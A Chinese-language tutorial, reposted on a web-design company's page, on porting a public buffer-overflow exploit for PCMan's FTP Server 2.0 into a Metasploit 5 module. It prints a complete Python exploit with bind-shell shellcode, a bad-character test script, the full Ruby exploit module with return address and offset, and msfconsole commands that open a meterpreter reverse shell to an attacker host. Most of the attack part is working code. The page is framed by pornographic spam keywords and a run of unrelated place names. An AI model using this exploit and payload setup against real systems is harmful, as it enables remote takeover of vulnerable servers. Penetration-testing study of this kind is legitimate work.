内射老阿姨1区2区3区4区_久久精品人人做人人爽电影蜜月_久久国产精品亚洲77777_99精品又大又爽又粗少妇毛片

如何理解Metasploit5中測(cè)試模塊的移植與驗(yàn)證

如何理解Metasploit 5中測(cè)試模塊的移植與驗(yàn)證,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。

網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)建站!專注于網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、重慶小程序開發(fā)、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了水磨溝免費(fèi)建站歡迎大家使用!

前言

如果針對(duì)某一程序或軟件已經(jīng)有了相應(yīng)的滲透模塊,此時(shí)再去寫一個(gè)實(shí)現(xiàn)類似功能的模塊就顯得多此一舉。然而,并非所有的滲透模塊都是基于Metasploit框架開發(fā)的,其中有很多是用Perl、Python或者C/C++語言編寫的,所以導(dǎo)致了這些模塊不能直接在Metasploit中使用。此時(shí)需要將現(xiàn)有的滲透模塊移植成為與Metasploit框架相兼容的模塊,移植成功之后,不僅能夠?qū)崿F(xiàn)原有模塊的功能,還可以利用Metasploit框架提供的各種豐富而又強(qiáng)大的工具來處理例行任務(wù),同時(shí)可以動(dòng)態(tài)切換攻擊載荷,使?jié)B透模塊適用于更多的場(chǎng)景。

實(shí)驗(yàn)環(huán)境

1.滲透主機(jī):Kali-Linux-2019.1-vm-amd64
2.目標(biāo)主機(jī):Windows XP SP3 Simplified Chinese
3.軟件版本:PCMan’s FTP Server 2.0

涉及工具

1. python-2.7.15
2. ImmunityDebugger1.85

滲透模塊的分析

本文以PCMan’s FTP Server軟件為例,詳細(xì)描述滲透模塊的移植和測(cè)試過程。這款軟件是由我國(guó)臺(tái)灣省的國(guó)立陽明大學(xué)開發(fā)的,也是我個(gè)人比較喜歡的一款小巧、輕便、易用的FTP軟件,可在五分鐘之內(nèi)迅速搭建一臺(tái)FTP服務(wù)器。存在現(xiàn)成的滲透模塊針對(duì)PCMan’s FTP Server的緩沖區(qū)溢出漏洞。

1.滲透模塊的詳細(xì)代碼如下:

#!/usr/bin/env python
#-*- coding: utf-8 -*-

# Exploit Title: PCMan FTP Server 2.0 PORT Command BoF Exploit
# Author: Pablo González
# Date: 4/11/2016
# Software: PCMan 2.0
# Tested on: Windows XP Profesional SP3 Spanish x86

import socket

print "Creating malicious input!"

junk = '\x41'*2007
ret="\xf7\x56\x3c\x7e"	#User32.dll 7E3C56F7
nops = '\x90'*20

#msfvenom -p windows/shell_bind_tcp LPORT=1144 -b '\x0a\x00\x0d' -f c
#put shellcode in variable 'sc'
sc=("\xdb\xd6\xba\xd3\x95\x1b\xd0\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x53\x31\x50\x17\x83\xe8\xfc\x03\x83\x86\xf9\x25\xdf\x41\x7f"
"\xc5\x1f\x92\xe0\x4f\xfa\xa3\x20\x2b\x8f\x94\x90\x3f\xdd\x18"
"\x5a\x6d\xf5\xab\x2e\xba\xfa\x1c\x84\x9c\x35\x9c\xb5\xdd\x54"
"\x1e\xc4\x31\xb6\x1f\x07\x44\xb7\x58\x7a\xa5\xe5\x31\xf0\x18"
"\x19\x35\x4c\xa1\x92\x05\x40\xa1\x47\xdd\x63\x80\xd6\x55\x3a"
"\x02\xd9\xba\x36\x0b\xc1\xdf\x73\xc5\x7a\x2b\x0f\xd4\xaa\x65"
"\xf0\x7b\x93\x49\x03\x85\xd4\x6e\xfc\xf0\x2c\x8d\x81\x02\xeb"
"\xef\x5d\x86\xef\x48\x15\x30\xcb\x69\xfa\xa7\x98\x66\xb7\xac"
"\xc6\x6a\x46\x60\x7d\x96\xc3\x87\x51\x1e\x97\xa3\x75\x7a\x43"
"\xcd\x2c\x26\x22\xf2\x2e\x89\x9b\x56\x25\x24\xcf\xea\x64\x21"
"\x3c\xc7\x96\xb1\x2a\x50\xe5\x83\xf5\xca\x61\xa8\x7e\xd5\x76"
"\xcf\x54\xa1\xe8\x2e\x57\xd2\x21\xf5\x03\x82\x59\xdc\x2b\x49"
"\x99\xe1\xf9\xe4\x91\x44\x52\x1b\x5c\x36\x02\x9b\xce\xdf\x48"
"\x14\x31\xff\x72\xfe\x5a\x68\x8f\x01\x60\x11\x06\xe7\x02\xf1"
"\x4e\xbf\xba\x33\xb5\x08\x5d\x4b\x9f\x20\xc9\x04\xc9\xf7\xf6"
"\x94\xdf\x5f\x60\x1f\x0c\x64\x91\x20\x19\xcc\xc6\xb7\xd7\x9d"
"\xa5\x26\xe7\xb7\x5d\xca\x7a\x5c\x9d\x85\x66\xcb\xca\xc2\x59"
"\x02\x9e\xfe\xc0\xbc\xbc\x02\x94\x87\x04\xd9\x65\x09\x85\xac"
"\xd2\x2d\x95\x68\xda\x69\xc1\x24\x8d\x27\xbf\x82\x67\x86\x69"
"\x5d\xdb\x40\xfd\x18\x17\x53\x7b\x25\x72\x25\x63\x94\x2b\x70"
"\x9c\x19\xbc\x74\xe5\x47\x5c\x7a\x3c\xcc\x6c\x31\x1c\x65\xe5"
"\x9c\xf5\x37\x68\x1f\x20\x7b\x95\x9c\xc0\x04\x62\xbc\xa1\x01"
"\x2e\x7a\x5a\x78\x3f\xef\x5c\x2f\x40\x3a")

buffer= junk + ret + nops + sc

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = raw_input('Give me Remote IP Address:')
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
#Sending input PORT command (Exploitation is coming)
s.send('PORT' + buffer + '\r\n')
s.close()

2.關(guān)鍵信息收集

如何理解Metasploit 5中測(cè)試模塊的移植與驗(yàn)證

3.確定偏移量Offset的方法和步驟,若不清楚,可以參照《關(guān)于CVE-2019-9766緩沖區(qū)溢出漏洞的滲透模塊編寫與測(cè)試》一文,這里不再詳述。

4.現(xiàn)有模塊的JMP ESP指令使用User32.dll對(duì)應(yīng)的地址7E3C56F7,但該模塊是基于Windows XP Profesional SP3 Spanish x86編寫的,在這里西班牙語的XP顯然是不適用的。于是在ImmunityDebugger中使用命令!mona jmp -r esp查詢合適的跳轉(zhuǎn)指令,mona查詢的結(jié)果保存在文件jmp.txt中,這里我們選擇

C:\WINDOWS\system32\USER32.dll

其對(duì)應(yīng)的地址為0x77d29353,查詢結(jié)果如下圖所示:

如何理解Metasploit 5中測(cè)試模塊的移植與驗(yàn)證5.關(guān)于shellcode中的壞字符,可以在ImmunityDebugger中使用mona插件輔助確定。這里我們使用一種原理性的方法來找出壞字符,雖然過程有點(diǎn)繁瑣,但是準(zhǔn)確性較高。測(cè)試代碼如下所示(其中變量shellcode賦值為所有可能出現(xiàn)的字符):

# Exploit Title: PCMan FTP Server 2.0 PORT Command Exploit
# Author: Neroqi
# Date: 5/14/2019
# Software: PCMan 2.0
# Tested on: Windows XP Profesional SP3 Simplified Chinese

import socket

junk = '\x41'*2007
ret='\x42'*4	#USER32.dll 0x77d29353
nops = '\x90'*20

shellcode = (
    "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
    "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
    "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
    "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
    "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
    "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer= junk + ret + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = raw_input('Input FTP Server IP Address:')
connect = s.connect((ip,21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
#Sending input PORT command (Exploitation is coming)
s.send('PORT' + buffer + '\r\n')
s.close()

5.1 在Kali Linux中運(yùn)行上述代碼,輸入PCMan’s FTP Server的IP地址,將所有可能的字符發(fā)送給PCMan’s FTP,然后ImmunityDebugger中的顯示如下(內(nèi)容太多,此處節(jié)選一部分):

0012C7D4   41414141  AAAA
0012C7D8   42424242  BBBB
0012C7DC   90909090  悙悙
0012C7E0   90909090  悙悙
0012C7E4   90909090  悙悙
0012C7E8   90909090  悙悙
0012C7EC   90909090  悙悙
0012C7F0   00000A0D  ....
0012C7F4   0000000A  ....
0012C7F8   00000000  ....
0012C7FC   00000000  ....
0012C800   00000000  ....
0012C804   00000000  ....
0012C808   00000000  ....
0012C80C   00000000  ....
0012C810   00000000  ....
0012C814   00000066  f...
0012C818   77EF6BF2  騥飛    GDI32.77EF6BF2

在上述結(jié)果中并沒有看到shellcode的內(nèi)容,20個(gè)空指令'\x90'之后的\x0D\x0A代表的是 '\r\n'(“<回車><換行>”),并不是shellcode中的部分字符,因此可以判定’\x00’為壞字符。

5.2 將shellcode中的’\x00’去掉,重復(fù)5.1中的操作,然后ImmunityDebugger中的顯示如下:

0012C7D4   41414141  AAAA
0012C7D8   42424242  BBBB
0012C7DC   90909090  悙悙
0012C7E0   90909090  悙悙
0012C7E4   90909090  悙悙
0012C7E8   90909090  悙悙
0012C7EC   90909090  悙悙
0012C7F0   04030201  
0012C7F4   08070605  
0012C7F8   000A0D09  ....
0012C7FC   00000000  ....
0012C800   00000000  ....
0012C804   00000000  ....
0012C808   00000002  ...
0012C80C   00000000  ....
0012C810   00000000  ....
0012C814   000000AC  ?..
0012C818   77EF6BF2  騥飛    GDI32.77EF6BF22.4

從上述結(jié)果可以看到shellcode在’\x09’之后的內(nèi)容全部丟失,因此可以判定’\x0a’為壞字符。重復(fù)步驟5.1和5.2,最終確定全部壞字符為'\x00\x0a\x0d'。

滲透模塊的移植

分析完成現(xiàn)有的滲透模塊之后,下面我們進(jìn)行滲透模塊的移植。

1. 移植后的滲透模塊pcman_port.rb的第一部分如下:

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "PCMan's FTP Server PORT Command Stack Buffer Overflow",
      'Description'    => "This module exploits a buffer overflow vulnerability found in the PORT command of the PCMan's FTP Server v2.0",
      'Author'         => 'Neroqi',
      'License'        => MSF_LICENSE,
      'References'     => 
          [
          	['EDB', '40714']
          ],
      'DefaultOptions' =>{
          'EXITFUNC' => 'process',
          'VERBOSE'  => true
        },
      'Payload'        =>{
          'Space'   => 1000,
          'BadChars'  => "\x00\x0a\x0d",
        },
      'Platform'       => 'win',
      'Targets'        =>[
          [ 'Windows XP Profesional SP3 Simplified Chinese',
            {
              'Ret' => 0x77d29353, # C:\WINDOWS\system32\USER32.dll
              'Offset' => 2007
            }
          ],
        ],
      'DisclosureDate' => 'May 14 2019',
      'DefaultTarget'  => 0))
      register_options(
        [
          Opt::RPORT(21),
          OptString.new('FTPUSER',[ true, 'FTP User', 'anonymous']),
          OptString.new('FTPPASS',[ true, 'FTP Password', 'anonymous'])
        ], self.class)
  end

1.1 語句require 'msf/core'引入了Metasploit中core庫的所有內(nèi)容;語句include Msf::Exploit::Remote::Ftp引入了ftp. rb庫文件,用于后續(xù)的FTP相關(guān)操作。

1.2 方法initialize定義了模塊的相關(guān)信息及參數(shù),包括Name、Description、Author以及DefaultOptions等等,其中壞字符在Payload中設(shè)置,Offset和JMP ESP指令在Targets中設(shè)置。

1.3 register_options使用Opt::RPORT函數(shù)定義了目標(biāo)端口,使用OptString.new函數(shù)為FTP的登錄提供了用戶名和密碼。

2. 移植后的滲透模塊pcman_port.rb的第二部分如下:

  def exploit 
    c = connect_login
    return unless c
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(20)
    sploit << payload.encoded 
    send_cmd( ["PORT" + sploit, false] )
    disconnect 
  end

2.1 rand_text_alpha()函數(shù)用于生成2007個(gè)(該值是由Targets中的變量Offset決定的)填充數(shù)據(jù),用于替代原滲透模塊中的'\x41'*2007,然后將填充數(shù)據(jù)保存到變量sploit中。

2.2 [target.ret].pack('V')函數(shù)將Targets中Ret的值(JMP ESP的指令)以小端格式保存到sploit變量中,無需像原滲透模塊那樣使用大端格式保存。

2.3 make_nops(20)函數(shù)用于產(chǎn)生20個(gè)空指令。

2.4 payload.encoded函數(shù)用于對(duì)指定的攻擊載荷進(jìn)行編碼。

2.5 然后使用ftp庫中的send_cmd()函數(shù)將包含了變量sploit的PORT命令發(fā)送到目標(biāo)。

3. 移植后的滲透模塊pcman_port.rb具有的優(yōu)勢(shì):

3.1 rand_text_alpha()函數(shù)實(shí)現(xiàn)自動(dòng)生成填充數(shù)據(jù),無須手動(dòng)生成。

3.2 JMP ESP的指令無須進(jìn)行大小端格式轉(zhuǎn)換,該工作由函數(shù)[target.ret].pack('V')實(shí)現(xiàn)。

3.3 make_nops()函數(shù)自動(dòng)生成空指令,無須手動(dòng)生成。

3.4 shellcode可動(dòng)態(tài)切換,無須提供任何預(yù)先硬編碼的shellcode,在需要改變shellcode時(shí),就無須手動(dòng)重新編碼,從而節(jié)約了大量時(shí)間。

滲透模塊的測(cè)試

1. 將移植后的滲透模塊pcman_port.rb拷貝到如下路徑:

/usr/share/metasploit-framework/modules/exploits/windows/ftp

然后在msfconsole中通過命令reload_all來重新載入所有的模塊,確保模塊編寫無誤。

2. 在Metasploit中使用如下命令測(cè)試滲透模塊pcman_port.rb是否正常工作,命令如下:

msf5 > use exploit/windows/ftp/pcman_port
msf5 exploit(windows/ftp/pcman_port) > set RHOSTS 192.168.188.137
RHOSTS => 192.168.188.137
msf5 exploit(windows/ftp/pcman_port) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/ftp/pcman_port) > set LHOST 192.168.188.136
LHOST => 192.168.188.136
msf5 exploit(windows/ftp/pcman_port) > set LPORT 8888
LPORT => 8888
msf5 exploit(windows/ftp/pcman_port) > exploit

如下圖所示,可以看到成功取得了與目標(biāo)主機(jī)的meterpreter會(huì)話,說明模塊移植成功:

如何理解Metasploit 5中測(cè)試模塊的移植與驗(yàn)證    

由于Metasploit的強(qiáng)大功能以及豐富的工具庫,因此建議大家在遇到較新較好的滲透模塊時(shí),及時(shí)地將其移植到Metasploit框架中,以備后用。

看完上述內(nèi)容,你們掌握如何理解Metasploit 5中測(cè)試模塊的移植與驗(yàn)證的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!

本文題目:如何理解Metasploit5中測(cè)試模塊的移植與驗(yàn)證
標(biāo)題路徑:http://m.rwnh.cn/article10/gspsgo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營(yíng)銷型網(wǎng)站建設(shè)、外貿(mào)建站App開發(fā)、域名注冊(cè)、搜索引擎優(yōu)化、軟件開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)公司
鹿泉市| 舟山市| 大石桥市| 云林县| 泗洪县| 潍坊市| 青浦区| 隆子县| 乌恰县| 桓台县| 东至县| 云浮市| 通山县| 大石桥市| 垣曲县| 凤城市| 嘉峪关市| 尚志市| 嘉兴市| 敖汉旗| 贡觉县| 林口县| 平原县| 凌云县| 工布江达县| 临沭县| 西乡县| 安义县| 柘城县| 平度市| 永新县| 扶余县| 定边县| 卫辉市| 三原县| 英超| 安顺市| 江安县| 漠河县| 微山县| 白河县|